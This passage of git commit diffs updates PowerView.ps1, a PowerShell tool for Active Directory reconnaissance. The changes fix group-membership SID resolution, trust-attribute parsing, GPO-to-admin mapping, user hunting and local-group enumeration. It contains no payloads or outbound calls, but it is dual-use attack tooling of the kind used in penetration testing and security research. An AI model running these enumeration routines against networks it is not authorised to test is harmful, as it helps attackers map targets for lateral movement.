$Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - if($RawSids) { - $GroupSid + $UserDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if($GroupSid -notmatch '^S-1-5-32-.*') { + if($FullData) { + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group } else { - Convert-SidToName $GroupSid + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName -SID $GroupSid + } } } } } + else { + Write-Warning "UserName '$UserName' failed to resolve." + } } else { if ($SID) { @@ -5456,11 +5463,39 @@ function Get-NetGroupMember { $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + if($Properties.objectSid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) + } + else { + $MemberSID = $Null + } + try { $MemberDN = $Properties.distinguishedname[0] - - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple' + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } } catch { $MemberDN = $Null @@ -5481,17 +5516,10 @@ function Get-NetGroupMember { $MemberName = $Properties.cn } } - - if($Properties.objectSid) { - $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) - } - else { - $MemberSid = $Null - } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName - $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') @@ -5507,7 +5535,6 @@ function Get-NetGroupMember { } } } - } } } @@ -7063,26 +7090,29 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + if($OUComputers) { + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'Domain' $Domain - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers - $GPOLocation + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'Domain' $Domain + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $GPOLocation + } } } @@ -7106,6 +7136,7 @@ function Find-GPOLocation { $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') $AppliedSite } } @@ -7678,10 +7709,10 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') + $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') $LocalUsers += $LocalUser } @@ -9772,23 +9803,12 @@ function Invoke-UserHunter { $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName # Try to resolve the DNS hostname of $Cname - if ($Cname -match '[a-zA-Z]') { - Try { - $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname - } - Catch { - $CNameDNSName = $Cname - } + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName } - else { - Try { - $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName - } - Catch { - $CNameDNSName = $Cname - } - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + catch { + $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null } # see if we're checking to see if we have local admin access on this machine @@ -12768,7 +12788,7 @@ function Find-ForeignUser { $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' } - Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize | Where-Object {$_.memberof} | ForEach-Object { + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { ForEach ($Membership in $_.memberof) { $Index = $Membership.IndexOf("DC=") if($Index) { @@ -12900,7 +12920,7 @@ function Find-ForeignGroup { $ExcludeGroups = @("Users", "Domain Users", "Guests") # get all the groupnames for the given domain - Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {$_.member} | Where-Object { + Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object { # exclude common large groups -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { -- cgit v1.2.3 From 31c2290d5e173878a856701949bdfbc4054553c2 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 12 Jun 2016 20:53:36 -0400 Subject: Fixed some Invoke-MapDomainTrust and Get-NetDomainTrust logic Changed domain/forest Write-Warning's to Write-Verbose --- Recon/PowerView.ps1 | 103 +++++++++++++++++++++++++++++----------------------- 1 file changed, 57 insertions(+), 46 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4913db0..2051db5 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2188,7 +2188,7 @@ filter Get-NetDomain { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." $Null } } @@ -2198,7 +2198,7 @@ filter Get-NetDomain { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." $Null } } @@ -2257,7 +2257,7 @@ filter Get-NetForest { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { - Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." $Null } } @@ -2267,7 +2267,7 @@ filter Get-NetForest { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } catch { - Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." return $Null } } @@ -12514,6 +12514,22 @@ function Get-NetDomainTrust { $Credential ) + begin { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'non_transitive' + [uint32]'0x00000002' = 'uplevel_only' + [uint32]'0x00000004' = 'quarantined_domain' + [uint32]'0x00000008' = 'forest_transitive' + [uint32]'0x00000010' = 'cross_organization' + [uint32]'0x00000020' = 'within_forest' + [uint32]'0x00000040' = 'treat_as_external' + [uint32]'0x00000080' = 'trust_uses_rc4_encryption' + [uint32]'0x00000100' = 'trust_uses_aes_keys' + [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' + [uint32]'0x00000400' = 'pim_trust' + } + } + process { if(-not $Domain) { @@ -12532,33 +12548,21 @@ function Get-NetDomainTrust { if($TrustSearcher) { - $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + $TrustSearcher.Filter = '(objectClass=trustedDomain)' $Results = $TrustSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject - $TrustAttrib = Switch ($Props.trustattributes) - { - 0x001 { "non_transitive" } - 0x002 { "uplevel_only" } - 0x004 { "quarantined_domain" } - 0x008 { "forest_transitive" } - 0x010 { "cross_organization" } - 0x020 { "within_forest" } - 0x040 { "treat_as_external" } - 0x080 { "trust_uses_rc4_encryption" } - 0x100 { "trust_uses_aes_keys" } - Default { - Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; - "$($Props.trustattributes)"; - } - } + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + $Direction = Switch ($Props.trustdirection) { - 0 { "Disabled" } - 1 { "Inbound" } - 2 { "Outbound" } - 3 { "Bidirectional" } + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value @@ -12567,7 +12571,7 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust } @@ -12639,7 +12643,7 @@ function Get-NetDomainTrust { } } else { - Write-Error "Could not retrieve domain controller for $Domain" + Write-Verbose "Could not retrieve domain controller for $Domain" } } else { @@ -13124,34 +13128,41 @@ function Invoke-MapDomainTrust { } # get any forest trusts, if they exist - $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + if(-not ($LDAP -or $DomainController) ) { + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + } if ($Trusts) { + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } # enumerate each trust found ForEach ($Trust in $Trusts) { - $SourceDomain = $Trust.SourceName - $TargetDomain = $Trust.TargetName - $TrustType = $Trust.TrustType - $TrustDirection = $Trust.TrustDirection - - # make sure we process the target - $Null = $Domains.push($TargetDomain) - - # build the nicely-parsable custom output object - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" - $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" - $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" - $DomainTrust + if($Trust.SourceName -and $Trust.TargetName) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + + # make sure we process the target + $Null = $Domains.push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust + } } } } catch { - Write-Warning "[!] Error: $_" + Write-Verbose "[!] Error: $_" } } } -- cgit v1.2.3 From 4b40e8609c75b00a6ccbf58fc121882975854f59 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 14 Jun 2016 18:23:52 -0400 Subject: Fixed logic bugs in Find-GPOLocation and Find-GPOComputerAdmin --- Recon/PowerView.ps1 | 94 ++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 64 insertions(+), 30 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2051db5..b7bee3e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5012,7 +5012,7 @@ function Get-DomainSID { $DCSID.Substring(0, $DCSID.LastIndexOf('-')) } else { - Write-Warning "Error extracting domain SID for $Domain" + Write-Verbose "Error extracting domain SID for $Domain" } } @@ -7043,20 +7043,26 @@ function Find-GPOLocation { 'PageSize' = $PageSize } - # enumerate all GPO group mappings for the target domain + # enumerate all GPO group mappings for the target domain that involve our target SID set $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { $GPOgroup = $_ - # if the locally set group is what we're looking for or the locally set group is a - # member of what we're looking for, check the GroupMembers for our target SID - if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + # if the locally set group is what we're looking for, check the GroupMembers ('members') + # for our target SID + if($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } } | Sort-Object -Property GPOName -Unique $GPOgroups | ForEach-Object { @@ -7065,12 +7071,18 @@ function Find-GPOLocation { $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType - $GPOMembers = $_.GroupMembers + if($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + $Filters = $_.Filters if(-not $TargetObject) { # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - # so all relationship mappings are output + # so all relationship mappings are output $TargetObjectSIDs = $GPOMembers } else { @@ -7306,8 +7318,7 @@ function Find-GPOComputerAdmin { $TargetOUs | Where-Object {$_} | ForEach-Object { - # for each OU the computer is a part of, get the full OU object - $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { + $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -7316,16 +7327,24 @@ function Find-GPOComputerAdmin { } } } - } | ForEach-Object { - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize + } + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + + # extract GPO groups that are set through any gPlink for this OU + $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + ForEach($GPOLink in $GPOLinks) { + $Name = $_.GPOName + if($GPOLink -like "*$Name*") { + $_ + } } - # for each GPO link, get any locally set user/group SIDs - Get-NetGPOGroup @GPOGroupArgs } } @@ -7333,8 +7352,14 @@ function Find-GPOComputerAdmin { $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ - $GPOGroup.GroupMembers | ForEach-Object { + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + $GPOMembers | ForEach-Object { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ @@ -7349,8 +7374,8 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType - $GPOComputerAdmin + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerAdmin # if we're recursing and the current result object is a group if($Recurse -and $GPOComputerAdmin.isGroup) { @@ -7685,7 +7710,7 @@ function Get-NetLocalGroup { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() # parse all the result structures @@ -7979,7 +8004,7 @@ filter Get-NetShare { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $SHARE_INFO_1::GetSize() # parse all the result structures @@ -8073,7 +8098,7 @@ filter Get-NetLoggedon { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $WKSTA_USER_INFO_1::GetSize() # parse all the result structures @@ -8175,7 +8200,7 @@ filter Get-NetSession { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $SESSION_INFO_10::GetSize() # parse all the result structures @@ -8340,7 +8365,7 @@ filter Get-NetRDPSession { if (($Result -ne 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $WTS_SESSION_INFO_1::GetSize() # parse all the result structures @@ -12573,6 +12598,7 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') $DomainTrust } $Results.dispose() @@ -12601,7 +12627,7 @@ function Get-NetDomainTrust { # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure + # Work out how much to increment the pointer by finding out the size of the structure $Increment = $DS_DOMAIN_TRUSTS::GetSize() # parse all the result structures @@ -12650,7 +12676,10 @@ function Get-NetDomainTrust { # if we're using direct domain connections through .NET $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential if($FoundDomain) { - $FoundDomain.GetAllTrustRelationships() + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_ + } } } } @@ -12699,7 +12728,10 @@ function Get-NetForestTrust { $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential if($FoundForest) { - $FoundForest.GetAllTrustRelationships() + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_ + } } } } @@ -13144,9 +13176,10 @@ function Invoke-MapDomainTrust { $TargetDomain = $Trust.TargetName $TrustType = $Trust.TrustType $TrustDirection = $Trust.TrustDirection + $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 # make sure we process the target - $Null = $Domains.push($TargetDomain) + $Null = $Domains.Push($TargetDomain) # build the nicely-parsable custom output object $DomainTrust = New-Object PSObject @@ -13156,6 +13189,7 @@ function Invoke-MapDomainTrust { $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust.PSObject.TypeNames.Add($ObjectType) $DomainTrust } } -- cgit v1.2.3 From 7dfbb059e14278ec7ac243399f068104257152fe Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 21 Jun 2016 20:29:40 +0100 Subject: Check class type Recurse if localgroup as well as domaingroup Normalize output values to empty string --- Recon/PowerView.ps1 | 149 +++++++++++++++++++++++++--------------------------- 1 file changed, 73 insertions(+), 76 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b7bee3e..4bcbbd1 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7691,7 +7691,6 @@ function Get-NetLocalGroup { if($API) { # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information - # arguments for NetLocalGroupGetMembers $QueryLevel = 2 $PtrInfo = [IntPtr]::Zero @@ -7723,7 +7722,7 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error if($Result2 -eq 0) { Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" @@ -7734,9 +7733,8 @@ function Get-NetLocalGroup { $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname $LocalUser | Add-Member Noteproperty 'SID' $SidString - $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') + $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') $LocalUsers += $LocalUser @@ -7793,9 +7791,11 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'ComputerName' $Server $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) # try to translate the NT4 domain to a FQDN if possible $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + $IsGroup = $Class -eq "Group" if($Name) { $FQDN = $Name.split("/")[0] @@ -7804,33 +7804,30 @@ function Get-NetLocalGroup { $IsDomain = $True } else { + $ObjName = $AdsPath.split("/")[-1] $Name = $AdsPath $IsDomain = $False } $Member | Add-Member Noteproperty 'AccountName' $Name + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup if($IsDomain) { # translate the binary sid to a string $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False - - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $Member | Add-Member Noteproperty 'Disabled' "" if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null + $Member | Add-Member Noteproperty 'LastLogin' "" } else { try { $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) } catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null + $Member | Add-Member Noteproperty 'LastLogin' "" } } $Member | Add-Member Noteproperty 'PwdLastSet' "" @@ -7843,20 +7840,21 @@ function Get-NetLocalGroup { # translate the binary sid to a string $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup) { + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + $Member | Add-Member Noteproperty 'Disabled' "" $Member | Add-Member Noteproperty 'LastLogin' "" } else { + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) try { $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) } @@ -7864,64 +7862,64 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'LastLogin' "" } } - - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member - # if the result is a group domain object and we're recursing, try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { - - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() - - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Verbose "Error resolving SID : $_" - } - } - - $Member | Add-Member 